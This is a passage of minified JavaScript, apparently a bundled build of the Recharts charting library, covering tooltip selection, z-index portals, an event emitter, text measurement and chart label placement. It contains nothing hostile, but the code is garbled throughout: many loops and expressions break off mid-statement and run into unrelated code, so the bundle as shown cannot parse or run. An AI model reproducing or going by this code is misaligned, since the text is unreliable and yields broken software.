0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ut(x-h)!==Ut(g-x)){var v=[];if(Ut(g-x)===Ut(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var _=0;_(A.coordinate+P.coordinate)/2||_>0&&_(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+O.coordinate)/2)return A.index}}return-1},z3=()=>ye(g0),Q0=(e,t)=>t,C3=(e,t,n)=>n,J0=(e,t,n,r)=>r,xR=T(Vr,e=>gd(e,t=>t.coordinate)),ev=T([vs,Q0,C3,J0],d3),tv=T([ev,ys,ll,ul],q0),vR=(e,t,n)=>{if(t!=null){var r=vs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},P3=T([vs,Q0,C3,J0],p3),Eu=T([Rr,$r,Me,yt,Vr,J0,P3],f3),gR=T([ev,Eu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),E3=T([Vr,tv],s3),yR=T([P3,tv,Fr,ll,E3,m3,Q0],h3),bR=T([ev,tv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),wR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&hR(e,o)){var l=lT(e,t),c=S3(l,a,i,n,r),u=pR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},jR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=u8(e,n);if(l){var c=cT(l,t),u=S3(c,o,a,r,i),d=mR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},kR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?wR(e,t,r,i,a,o,l):jR(e,t,n,r,i,a,o)},NR=T(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),SR=T(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ht)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:sI}});function gb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yb(e){for(var t=1;tyb(yb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),ER)},_R=new Set(Object.values(Ht));function OR(e){return _R.has(e)}var A3=Xt({name:"zIndex",initialState:AR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:Ue()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!OR(n)&&delete e.zIndexMap[n])},prepare:Ue()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:Ue()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:Ue()}}}),{registerZIndexPortal:TR,unregisterZIndexPortal:MR,registerZIndexPortalElement:LR,unregisterZIndexPortalElement:IR}=A3.actions,DR=A3.reducer;function Si(e){var{zIndex:t,children:n}=e,r=$T(),i=r&&t!==void 0&&t!==0,a=Kn(),o=it();p.useLayoutEffect(()=>i?(o(TR({zIndex:t})),()=>{o(MR({zIndex:t}))}):cs,[o,t,i]);var l=ye(c=>NR(c,t,a));return i?l?fx.createPortal(n,l):null:n}function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(_3),O3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!or(n))return e[n]}},qR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},M3=Xt({name:"options",initialState:qR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),YR=M3.reducer,{createEventEmitter:GR}=M3.actions;function XR(e){return e.tooltip.syncInteraction}var ZR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},L3=Xt({name:"chartData",initialState:ZR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:jb,setDataStartEndIndexes:QR,setComputedData:LV}=L3.actions,JR=L3.reducer,e9=["x","y"];function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ha(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return cs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=i9(h,e9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ha(ha({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ha(ha({},d),{},{payload:ha(ha({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(M=>String(M.value)===d.payload.label));var{coordinate:_}=d.payload;if(S==null||d.payload.active===!1||_==null||o==null){n(lh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:O}=_,P=Math.min(A,o.x+o.width),I=Math.min(O,o.y+o.height),U={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?I:S.coordinate},D=lh({active:d.payload.active,coordinate:U,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Fo.on(dh,c),()=>{Fo.off(dh,c)}},[l,n,t,e,r,i,a,o])}function o9(){var e=ye(y0),t=ye(b0),n=it();p.useEffect(()=>{if(e==null)return cs;var r=(i,a,o)=>{t!==o&&e===i&&n(QR(a))};return Fo.on(wb,r),()=>{Fo.off(wb,r)}},[n,t,e])}function l9(){var e=it();p.useEffect(()=>{e(GR())},[e]),s9(),o9()}function c9(e,t,n,r,i,a){var o=ye(h=>vR(h,e,t)),l=ye(b0),c=ye(y0),u=ye(k4),d=ye(XR),f=d==null?void 0:d.active,m=Td();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=lh({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Fo.emit(dh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sb(e){for(var t=1;t{N(fD({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var _=Td(),A=vN(),O=sD(b),{activeIndex:P,isActive:I}=(t=ye(Y=>bR(Y,O,w,z)))!==null&&t!==void 0?t:{},U=ye(Y=>yR(Y,O,w,z)),D=ye(Y=>E3(Y,O,w,z)),M=ye(Y=>gR(Y,O,w,z)),F=U,R=VR(),W=(n=i??I)!==null&&n!==void 0?n:!1,[$,H]=G6([F,W]),X=O==="axis"?D:void 0;c9(O,w,M,X,P,W);var se=k??R;if(se==null||_==null||O==null)return null;var ue=F??zb;W||(ue=zb),u&&ue.length&&(ue=p6(ue.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,p9));var ge=ue.length>0,xe=p.createElement(uM,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:W,coordinate:M,hasPayload:ge,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:_,wrapperStyle:y,lastBoundingBox:$,innerRef:H,hasPortalFromProps:!!k},m9(c,Sb(Sb({},r),{},{payload:ue,label:X,active:W,activeIndex:P,coordinate:M,accessibilityLayer:A})));return p.createElement(p.Fragment,null,fx.createPortal(xe,se),W&&p.createElement(UR,{cursor:v,tooltipEventType:O,coordinate:M,payload:ue,index:P}))}var nf=e=>null;nf.displayName="Cell";function x9(e,t,n){return(t=v9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function v9(e){var t=g9(e,"string");return typeof t=="symbol"?t:t+""}function g9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class y9{constructor(t){x9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function b9(e){for(var t=1;t{try{var n=document.getElementById(Ab);n||(n=document.createElement("span"),n.setAttribute("id",Ab),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,S9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},Ob=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Dd.isSsr)return{width:0,height:0};if(!I3.enableCache)return _b(t,n);var r=z9(t,n),i=Eb.get(r);if(i)return i;var a=_b(t,n);return Eb.set(r,a),a},D3;function C9(e,t,n){return(t=P9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function P9(e){var t=E9(e,"string");return typeof t=="symbol"?t:t+""}function E9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Tb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,Mb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,A9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,_9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,O9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},T9=["cm","mm","pt","pc","in","Q","px"];function M9(e){return T9.includes(e)}var _a="NaN";function L9(e,t){return e*O9[t]}class Nt{static parse(t){var n,[,r,i]=(n=_9.exec(t))!==null&&n!==void 0?n:[];return r==null?Nt.NaN:new Nt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,or(t)&&(this.unit=""),n!==""&&!A9.test(n)&&(this.num=NaN,this.unit=""),M9(n)&&(this.num=L9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Nt(NaN,""):new Nt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return or(this.num)}}D3=Nt;C9(Nt,"NaN",new D3(NaN,""));function R3(e){if(e==null||e.includes(_a))return _a;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=Tb.exec(t))!==null&&n!==void 0?n:[],o=Nt.parse(r??""),l=Nt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return _a;t=t.replace(Tb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=Mb.exec(t))!==null&&u!==void 0?u:[],h=Nt.parse(d??""),x=Nt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return _a;t=t.replace(Mb,g.toString())}return t}var Lb=/\(([^()]*)\)/;function I9(e){for(var t=e,n;(n=Lb.exec(t))!=null;){var[,r]=n;t=t.replace(Lb,R3(r))}return t}function D9(e){var t=e.replace(/\s+/g,"");return t=I9(t),t=R3(t),t}function R9(e){try{return D9(e)}catch{return _a}}function fp(e){var t=R9(e.slice(5,-1));return t===_a?"":t}var $9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],B9=["dx","dy","angle","className","breakAll"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Pt(t)||(n?i=t.toString().split(""):i=t.toString().split($3));var a=i.map(l=>({word:l,width:Ob(l,r).width})),o=n?0:Ob(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function W9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var F3=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),U9="…",Db=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=B3({breakAll:n,style:r,children:c+U9});if(!u)return[!1,[]];var d=F3(u.wordsWithComputedWidth,a,o,l),f=d.length>i||W3(d).width>Number(a);return[f,d]},V9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=he(a),d=String(o),f=F3(t,r,n,i);if(!u||i)return f;var m=f.length>a||W3(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Db(d,b,c,l,a,r,n,i),[k]=Db(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},Rb=e=>{var t=Pt(e)?[]:e.toString().split($3);return[{words:t,width:void 0}]},H9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Dd.isSsr){var l,c,u=B3({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return Rb(r);return V9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return Rb(r)},U3="#808080",K9={angle:0,breakAll:!1,capHeight:"0.71em",fill:U3,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},nv=p.forwardRef((e,t)=>{var n=fn(e,K9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Ib(n,$9),m=p.useMemo(()=>H9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Ib(f,B9);if(!Pr(r)||!Pr(i)||m.length===0)return null;var w=Number(r)+(he(h)?h:0),j=Number(i)+(he(x)?x:0);if(!ze(w)||!ze(j))return null;var k;switch(d){case"start":k=fp("calc(".concat(o,")"));break;case"middle":k=fp("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=fp("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:_}=f;S.push("scale(".concat(he(_)&&he(z)?_/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",fh({},It(b),{ref:t,x:w,y:j,className:Xe("recharts-text",y),textAnchor:u,fill:l.includes("url")?U3:l}),m.map((A,O)=>{var P=A.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:O===0?k:a,key:"".concat(P,"-").concat(O)},P)}))});nv.displayName="Text";function $b(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Qn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=Vx(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return N&&(z.height=Math.max(o-N.y,0),z.width=c),z}if(n==="bottom"){var _={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return N&&(_.height=Math.max(N.y+N.height-(o+l),0),_.width=u),_}if(n==="left"){var A={x:m-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return N&&(A.width=Math.max(A.x-N.x,0),A.height=l),A}if(n==="right"){var O={x:m+h+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"};return N&&(O.width=Math.max(N.x+N.width-O.x,0),O.height=l),O}var P=N?{width:h,height:l}:{};return n==="insideLeft"?Qn({x:m+j,y:o+l/2,horizontalAnchor:S,verticalAnchor:"middle"},P):n==="insideRight"?Qn({x:m+h-j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideTop"?Qn({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?Qn({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?Qn({x:d+j,y:o+y,horizontalAnchor:S,verticalAnchor:b},P):n==="insideTopRight"?Qn({x:d+c-j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideBottomLeft"?Qn({x:f+j,y:o+l-y,horizontalAnchor:S,verticalAnchor:v},P):n==="insideBottomRight"?Qn({x:f+u-j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n&&typeof n=="object"&&(he(n.x)||ta(n.x))&&(he(n.y)||ta(n.y))?Qn({x:a+sn(n.x,h),y:o+sn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):Qn({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},Z9=["labelRef"],Q9=["content"];function Bb(e,t){if(e==null)return{};var n,r,i=J9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var e=p.useContext(r$),t=Td();return e||(t?Vx(t):void 0)},a$=p.createContext(null),s$=()=>{var e=p.useContext(a$),t=ye(E4);return e||t},o$=e=>{var{value:t,formatter:n}=e,r=Pt(e.children)?t:e.children;return typeof n=="function"?n(r):r},l$=e=>e!=null&&typeof e=="function",c$=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},u$=(e,t,n,r,i)=>{var{offset:a,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:m,clockWise:h}=i,x=(u+d)/2,g=c$(f,m),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*a,b=h;break;case"insideEnd":v=m-y*a,b=!h;break;case"end":v=m+y*a,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=st(l,c,x,v),j=st(l,c,x,v+(b?1:-1)*359),k="M".concat(w.x,",").concat(w.y,` + A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`, + `).concat(j.x,",").concat(j.y),S=Pt(e.id)?Po("recharts-radial-line-"):e.id;return p.createElement("text",Au({},r,{dominantBaseline:"central",className:Xe("recharts-radial-bar-label",o)}),p.createElement("defs",null,p.createElement("path",{id:S,d:k})),p.createElement("textPath",{xlinkHref:"#".concat(S)},n))},d$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:a,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=st(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var m=(a+o)/2,{x:h,y:x}=st(r,i,m,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},xc=e=>e!=null&&"cx"in e&&he(e.cx),f$={angle:0,offset:5,zIndex:Ht.label,position:"middle",textBreakAll:!1};function p$(e){if(!xc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function V3(e){var t=fn(e,f$),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=s$(),m=i$(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:xc(n)?x=n:x=Vx(n);var v=p$(x);if(!x||Pt(a)&&Pt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Kl(Kl({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Bb(b,Z9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Bb(b,Q9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=o$(t);var N=It(t);if(xc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return u$(t,i,g,N,x);y=d$(x,t.offset,t.position)}else{if(!v)return null;var z=X9({viewBox:v,position:i,offset:t.offset,parentViewBox:xc(r)?void 0:r});y=Kl(Kl({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(Si,{zIndex:t.zIndex},p.createElement(nv,Au({ref:d,className:Xe("recharts-label",c)},N,y,{textAnchor:W9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}V3.displayName="Label";var H3={},K3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(K3);var q3={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(q3);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=K3,n=q3,r=hd;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(H3);var m$=H3.last;const h$=Lr(m$);var x$=["valueAccessor"],v$=["dataKey","clockWise","id","textBreakAll","zIndex"];function _u(){return _u=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?h$(e.value):e.value,Y3=p.createContext(void 0),b$=Y3.Provider,G3=p.createContext(void 0),w$=G3.Provider;function j$(){return p.useContext(Y3)}function k$(){return p.useContext(G3)}function vc(e){var{valueAccessor:t=y$}=e,n=Wb(e,x$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=Wb(n,v$),u=j$(),d=k$(),f=u||d;return!f||!f.length?null:p.createElement(Si,{zIndex:l??Ht.label},p.createElement(Gt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=Pt(r)?t(m,h):Fe(m.payload,r),y=Pt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(V3,_u({key:"label-".concat(h)},It(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}vc.displayName="LabelList";function X3(e){var{label:t}=e;return t?t===!0?p.createElement(vc,{key:"labelList-implicit"}):p.isValidElement(t)||l$(t)?p.createElement(vc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(vc,_u({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function ph(){return ph=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Xe("recharts-dot",i);return he(t)&&he(n)&&he(r)?p.createElement("circle",ph({},Cr(e),Sx(e),{className:a,cx:t,cy:n,r})):null},Q3=e=>e.graphicalItems.polarItems,N$=T([Ze,sl],C0),rf=T([Q3,tt,N$],P0),S$=T([rf],E0),af=T([S$,Kd],A0),z$=T([af,tt,rf],O0);T([af,tt,rf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Fe(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Fe(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Ub=()=>{},C$=T([af,tt,rf,Qd,Ze],I0),P$=T([tt,M0,L0,Ub,C$,Ub,Me,Ze],D0),J3=T([tt,Me,af,z$,al,Ze,P$],R0),E$=T([J3,hs,Ni],F0),A$=T([tt,J3,E$,Ze],U0);T([Ni,A$],_4);var _$={radiusAxis:{},angleAxis:{}},eS=Xt({name:"polarAxis",initialState:_$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:IV,removeRadiusAxis:DV,addAngleAxis:RV,removeAngleAxis:$V}=eS.actions,O$=eS.reducer;function T$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function 